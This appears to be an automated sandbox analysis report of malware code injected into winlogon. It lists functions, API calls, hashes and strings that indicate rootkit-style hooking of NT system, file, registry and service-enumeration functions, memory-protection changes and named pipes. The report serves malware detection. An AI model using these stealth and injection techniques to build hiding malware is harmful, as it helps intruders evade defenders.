Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: 84d0a864ffcbc837ecc7354a3d772abf192ae96d0213883569f1f6ea5f421f72
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: 18711F3A324F60A6EB109FA9E85869D37B4F784F8AF509521DE4E57B69EF38C445C300

Function 00000225DC645C10 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645C4B
GetThreadContext.KERNEL32 ref: 00000225DC645DB5

Part of subcall function 00000225DC645A40: GetCurrentThreadId.KERNEL32 ref: 00000225DC645A44

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 196898b9c00e9a2a94215751572aa4ea3ed8279feab0b04f45af8764fe45d318
Instruction ID: 944e82db3403cf074b4c20140e3f4fe526249a22eecae15d0e28de081167e2ad
Opcode Fuzzy Hash: 196898b9c00e9a2a94215751572aa4ea3ed8279feab0b04f45af8764fe45d318
Instruction Fuzzy Hash: A8D19A7A20CF9892DA70DB5AE49835A77A0F7C8B85F104256EACE47BA5DF3CC541CB00

Function 00000225DC6451B0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645236

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 06d11d655de32e38fd8e5a073ca3ca46fe81f5eb7042fdfe4678ea390cd256b7
Instruction ID: db88e7363c8c6d67948adb73f6fa9911972c13677c94ce65f9111591e5b650f5
Opcode Fuzzy Hash: 06d11d655de32e38fd8e5a073ca3ca46fe81f5eb7042fdfe4678ea390cd256b7
Instruction Fuzzy Hash: 0002D93A21DB9496E760CB99E49435AB7A1F3C5B85F104155EB8E87BA8EF7CC484CF00

Function 00000225DC643878 Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00000225DC643886
GetCurrentProcess.KERNEL32 ref: 00000225DC6438B4
VirtualProtectEx.KERNEL32 ref: 00000225DC6438D6
GetCurrentProcess.KERNEL32 ref: 00000225DC6438F4
VirtualProtectEx.KERNEL32 ref: 00000225DC643915

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: ebfbda4d6f83f092f5b40694f6fedf07c780684687202726d78380dbc3561c7a
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: 7D113C2A718F54A3EB149BA9F40866AB6A0F748F85F148439DE8A07794EF3DC504C700

Function 00000225DC643AC0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 00000225DC643B46
VirtualAlloc.KERNEL32 ref: 00000225DC643B80

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: 6886080a5e420ef5f5b7cbc5977cea8f3533897ae81ff2ee1a15dfd3048d8c27
Instruction ID: a5174926809f1d8a058b45505692cd786dcb26961728ddb02e83bed768d52ab0
Opcode Fuzzy Hash: 6886080a5e420ef5f5b7cbc5977cea8f3533897ae81ff2ee1a15dfd3048d8c27
Instruction Fuzzy Hash: 5D31102621DE98A1EA30DB9DE05835A72A0F398B85F108575F5CF46BA8DF7DC580CB00

Function 00000225DC643458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000225DC64347A
PathFindFileNameW.SHLWAPI ref: 00000225DC643489

Part of subcall function 00000225DC643930: StrCmpNIW.SHLWAPI ref: 00000225DC643948

Part of subcall function 00000225DC643878: GetModuleHandleW.KERNEL32 ref: 00000225DC643886
Part of subcall function 00000225DC643878: GetCurrentProcess.KERNEL32 ref: 00000225DC6438B4
Part of subcall function 00000225DC643878: VirtualProtectEx.KERNEL32 ref: 00000225DC6438D6
Part of subcall function 00000225DC643878: GetCurrentProcess.KERNEL32 ref: 00000225DC6438F4
Part of subcall function 00000225DC643878: VirtualProtectEx.KERNEL32 ref: 00000225DC643915

CreateThread.KERNEL32 ref: 00000225DC6434D7

Part of subcall function 00000225DC641EB4: GetCurrentThread.KERNEL32 ref: 00000225DC641EBF

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: f74e7b676ed9400ac381515b8e9436b1a81361eff809a806e376a47053f7f487
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: 32115B7862CF39B2FB21EBEDA80E7993291AB54B07F54C4759A1785194EF3DC044C210

Function 00000225DC644ED0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00000225DC644ED4
VirtualProtect.KERNEL32 ref: 00000225DC644F17
FlushInstructionCache.KERNEL32 ref: 00000225DC644F2C

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 850510bb2ba42cc871c3507ea1c994e32bc1ac022eb00db290021f97f82b562b
Instruction ID: 478e726ee42b9ad2565bb85821ddd20a54e3ccf57beded389c022ecaab978b6a
Opcode Fuzzy Hash: 850510bb2ba42cc871c3507ea1c994e32bc1ac022eb00db290021f97f82b562b
Instruction Fuzzy Hash: 61F0D06A21CF54D1D630DB49E45575A77A0E3CC7D5F148155F98E07BA9CE39C181CF00

Function 00000225DC612908 Relevance: 3.2, APIs: 2, Instructions: 186
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00000225DC6129AA
LoadLibraryA.KERNELBASE ref: 00000225DC612A31

Memory Dump Source

Source File: 00000017.00000002.2929517041.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc610000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction ID: 084b2b25044c8794af9290a18b9c690fa1b2fa5669142dee8622e2e675240a44
Opcode Fuzzy Hash: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction Fuzzy Hash: 0C61253A702A6297EF69CF9DD44876DB3D1FB04B9AF14C021DA1907785DB38E952C700

Function 00000225DC641C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000225DC641650: GetProcessHeap.KERNEL32 ref: 00000225DC64165B
Part of subcall function 00000225DC641650: HeapAlloc.KERNEL32 ref: 00000225DC64166A
Part of subcall function 00000225DC641650: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416DA
Part of subcall function 00000225DC641650: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641707
Part of subcall function 00000225DC641650: RegCloseKey.ADVAPI32 ref: 00000225DC641721
Part of subcall function 00000225DC641650: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641741
Part of subcall function 00000225DC641650: RegCloseKey.ADVAPI32 ref: 00000225DC64175C
Part of subcall function 00000225DC641650: RegOpenKeyExW.ADVAPI32 ref: 00000225DC64177C
Part of subcall function 00000225DC641650: RegCloseKey.ADVAPI32 ref: 00000225DC641797
Part of subcall function 00000225DC641650: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6417B7
Part of subcall function 00000225DC641650: RegCloseKey.ADVAPI32 ref: 00000225DC6417D2
Part of subcall function 00000225DC641650: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6417F2

Sleep.KERNEL32 ref: 00000225DC641C43
SleepEx.KERNEL32 ref: 00000225DC641C49

Part of subcall function 00000225DC641650: RegCloseKey.ADVAPI32 ref: 00000225DC64180D
Part of subcall function 00000225DC641650: RegOpenKeyExW.ADVAPI32 ref: 00000225DC64182D
Part of subcall function 00000225DC641650: RegCloseKey.ADVAPI32 ref: 00000225DC641848
Part of subcall function 00000225DC641650: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641868
Part of subcall function 00000225DC641650: RegCloseKey.ADVAPI32 ref: 00000225DC641883
Part of subcall function 00000225DC641650: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6418A3
Part of subcall function 00000225DC641650: RegCloseKey.ADVAPI32 ref: 00000225DC6418BE
Part of subcall function 00000225DC641650: RegCloseKey.ADVAPI32 ref: 00000225DC6418C8

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: 9e56ec6e1a2bb83d4d1e20ad845025165e388ca77e262dcd1bfd0d10c7f0d1f5
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: B53101AD21CE21B1FF549FBED94935A37E4AB44BCAF14D0A1DE0B87696EE34C850C250

Non-executed Functions

Function 00000225DC642CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000225DC642D80
lstrlenW.KERNEL32 ref: 00000225DC642FBA

Part of subcall function 00000225DC641A14: OpenProcess.KERNEL32 ref: 00000225DC641A3A
Part of subcall function 00000225DC641A14: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC641A58
Part of subcall function 00000225DC641A14: PathFindFileNameW.SHLWAPI ref: 00000225DC641A67
Part of subcall function 00000225DC641A14: lstrlenW.KERNEL32 ref: 00000225DC641A73
Part of subcall function 00000225DC641A14: StrCpyW.SHLWAPI ref: 00000225DC641A86
Part of subcall function 00000225DC641A14: CloseHandle.KERNEL32 ref: 00000225DC641A94

GetProcAddress.KERNEL32 ref: 00000225DC642D95

Part of subcall function 00000225DC641554: StrCmpIW.SHLWAPI ref: 00000225DC641585

Part of subcall function 00000225DC643930: StrCmpNIW.SHLWAPI ref: 00000225DC643948

StrCmpNIW.SHLWAPI ref: 00000225DC642DD8
lstrlenW.KERNEL32 ref: 00000225DC642F00

Strings

ntdll.dll, xrefs: 00000225DC642D79
NtQueryObject, xrefs: 00000225DC642D8B
\Device\Nsi, xrefs: 00000225DC642DCB

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: 13e21aab0bda9cc4e5bc9a85af016e9a731f36370949422a27c399fe7f801b24
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: 1FB1A16A22CE74A1EBA58FADC4487A973A4FB44F86F649066EE0A53794DF35CC41C340

Function 00000225DC647E70 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000225DC647E8C
RtlCaptureContext.NTDLL ref: 00000225DC647EB9
RtlLookupFunctionEntry.NTDLL ref: 00000225DC647ED3
RtlVirtualUnwind.NTDLL ref: 00000225DC647F14
IsDebuggerPresent.KERNEL32 ref: 00000225DC647F68
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC647F89
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC647F94

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: 74af288e059d5c8d23f4d410f0be3976c1ac1cdc9bcb8f1d8e07bdf2c6108118
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: 0C318376219F90A6EB60DFA4E8447ED7360F784B45F44852ADB4E47B98EF38C648CB10

Function 00000225DC64B50C Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000225DC64B585
RtlLookupFunctionEntry.NTDLL ref: 00000225DC64B59D
RtlVirtualUnwind.NTDLL ref: 00000225DC64B5D8
IsDebuggerPresent.KERNEL32 ref: 00000225DC64B611
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC64B61B
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC64B626

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: 31acfc79b5b35cb9e1e8501721361a76cb7a9afdb4b51760c87d5441e5bab70d
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: 5E31923A218F90A6DB60CF79E84439E73A4F788B55F504526EB9E43B95DF38C545CB00

Function 00000225DC64FEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000225DC64FF67
WriteFile.KERNEL32 ref: 00000225DC65021E
WriteFile.KERNEL32 ref: 00000225DC650270
GetLastError.KERNEL32 ref: 00000225DC650372
GetLastError.KERNEL32 ref: 00000225DC6503D2

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: fe454cc261bdb08bb9bf612984af53997641b1df6e52c17f631db44c18d12b1f
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: 25E1043A728FA0AAE710CFA8D4882DD7BB1F3457C9F248516DF4A57B99DA34C51AC700

Function 00000225DC64BE3C Relevance: 1.6, APIs: 1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be94a610b278d4561b7c220ec9190d73b31c2b82deb3cd86083bedb6f088a8c3
Instruction ID: cd021be3b7f994735f8efe401c0160f1a902b8f3b311327af9ee367ef9e6a18a
Opcode Fuzzy Hash: be94a610b278d4561b7c220ec9190d73b31c2b82deb3cd86083bedb6f088a8c3
Instruction Fuzzy Hash: A551FB2A71CFA0A4FB20DBBAE90879E7BA5B784BD5F148154EE5A47F95CB34C141C700

Function 00000225DC6214A0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2929517041.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc610000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c472934a709f1b1001af0d924fa8e09930e5dba58a63be07c7f312c63124a0d7
Instruction ID: cc696e65a456b63b99bc5d4aa4762c6fec622c4d598d1fb74e675c82790ada62
Opcode Fuzzy Hash: c472934a709f1b1001af0d924fa8e09930e5dba58a63be07c7f312c63124a0d7
Instruction Fuzzy Hash: E8F096B57146A49BEBA4CF6CA846B19B7E0F3083C6F80C529D68AC3B04D33C8461DF04

Function 00000225DC6412C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641326
GetProcessHeap.KERNEL32 ref: 00000225DC641334
HeapAlloc.KERNEL32 ref: 00000225DC641345
RegEnumValueW.ADVAPI32 ref: 00000225DC6413A1

Part of subcall function 00000225DC641554: StrCmpIW.SHLWAPI ref: 00000225DC641585

GetProcessHeap.KERNEL32 ref: 00000225DC6413E9
HeapAlloc.KERNEL32 ref: 00000225DC6413F7
GetProcessHeap.KERNEL32 ref: 00000225DC64141B
HeapFree.KERNEL32 ref: 00000225DC641429
lstrlenW.KERNEL32 ref: 00000225DC641432
GetProcessHeap.KERNEL32 ref: 00000225DC641440
HeapAlloc.KERNEL32 ref: 00000225DC64144E
StrCpyW.SHLWAPI ref: 00000225DC641470
GetProcessHeap.KERNEL32 ref: 00000225DC641485
HeapFree.KERNEL32 ref: 00000225DC641493

Strings

d, xrefs: 00000225DC641365

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: c77c60887f5eec905f9c55c612795a7d8c3603e9356656533834664b1217e901
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: 61518EBA218F54A3EB24DFAAE54839AB3A1F788F85F148125DB4A07B14DF38C055C740

Function 00000225DC641EB4 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC641EBF

Part of subcall function 00000225DC642174: GetModuleHandleA.KERNEL32 ref: 00000225DC64218C
Part of subcall function 00000225DC642174: GetProcAddress.KERNEL32 ref: 00000225DC64219D

Part of subcall function 00000225DC645C10: GetCurrentThreadId.KERNEL32 ref: 00000225DC645C4B

Strings

NtQueryDirectoryFileEx, xrefs: 00000225DC641F3C
NtQueryDirectoryFile, xrefs: 00000225DC641F1F
NtEnumerateValueKey, xrefs: 00000225DC641F76
sechost.dll, xrefs: 00000225DC641FD9
NtResumeThread, xrefs: 00000225DC641F02
ntdll.dll, xrefs: 00000225DC641ECD
NtQuerySystemInformation, xrefs: 00000225DC641EE5
EnumServicesStatusExW, xrefs: 00000225DC641FB1, 00000225DC641FD2
EnumServiceGroupW, xrefs: 00000225DC641F90
NtEnumerateKey, xrefs: 00000225DC641F59
NtDeviceIoControlFile, xrefs: 00000225DC641FF6
advapi32.dll, xrefs: 00000225DC641F97, 00000225DC641FB8

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction ID: 197445dab69a72c6b2701a4be11a1dbf2a87165c78cac1134486ad74d2a900e6
Opcode Fuzzy Hash: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction Fuzzy Hash: 263197AC128D7AB1EB06EFEDE8596E43321B784746FF0D553E61A031A69E38C249C340

Function 00000225DC6423F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000225DC642405
GetCurrentProcessId.KERNEL32 ref: 00000225DC64240F

Part of subcall function 00000225DC6419AC: OpenProcess.KERNEL32 ref: 00000225DC6419CA
Part of subcall function 00000225DC6419AC: IsWow64Process.KERNEL32 ref: 00000225DC6419E0
Part of subcall function 00000225DC6419AC: CloseHandle.KERNEL32 ref: 00000225DC6419FB

CreateFileW.KERNEL32 ref: 00000225DC642468
WriteFile.KERNEL32 ref: 00000225DC642490
ReadFile.KERNEL32 ref: 00000225DC6424AF
CloseHandle.KERNEL32 ref: 00000225DC6424B8

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000225DC642438
\\.\pipe\dialerchildproc32, xrefs: 00000225DC64243F

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: 97d4650460fd1ed870c178f8d23a3eff64fab07327a250838c03ffd6b33ea587
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: 8721217A628F50A3F710CB69E54835A77A0F789FA5F608215EA5907BA8DF3CC149CB00

Function 00000225DC64104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6410AB
RegEnumValueW.ADVAPI32 ref: 00000225DC64110E
GetProcessHeap.KERNEL32 ref: 00000225DC641155
HeapAlloc.KERNEL32 ref: 00000225DC641163
GetProcessHeap.KERNEL32 ref: 00000225DC641187
HeapFree.KERNEL32 ref: 00000225DC641195

Strings

d, xrefs: 00000225DC6410CE

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: ca7602a269add0734a0897c8356ebd1df981e37aa2bd2fa69252cf5db3528a0f
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: FB418077218B90E7E7648FA6E44879AB7A1F389B85F008125DB8A07B54DF38D165CB00

Function 00000225DC6475F0 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC647618
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC64766A
_RTC_Initialize.LIBCMT ref: 00000225DC647698
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC6476BE
__scrt_release_startup_lock.LIBCMT ref: 00000225DC6476E9

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: d6c8d0038f703ef3555841080360c3dda4cb30d5e061eb806b4afe574bebbefd
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: 8F81E43C71CEB1BAFB50ABED984D3993291AB85B82F54C4A59A07477D6DB38C845CF00

Function 00000225DC6169F0 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC616A18
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC616A6A
_RTC_Initialize.LIBCMT ref: 00000225DC616A98
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC616ABE
__scrt_release_startup_lock.LIBCMT ref: 00000225DC616AE9

Memory Dump Source

Source File: 00000017.00000002.2929517041.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc610000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 03597595ed45fa0fe2af49a01b95c5b3d39fbf82cb5407b1408a8d0594ee632b
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: A581222D702E71BAFE60ABEE944939967E0EB95783F44C025AF4643792DB38C946C700

Function 00000225DC649804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000225DC649889
GetLastError.KERNEL32 ref: 00000225DC649897
LoadLibraryExW.KERNEL32 ref: 00000225DC6498C1
FreeLibrary.KERNEL32 ref: 00000225DC649907
GetProcAddress.KERNEL32 ref: 00000225DC649913

Strings

api-ms-, xrefs: 00000225DC6498A9

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

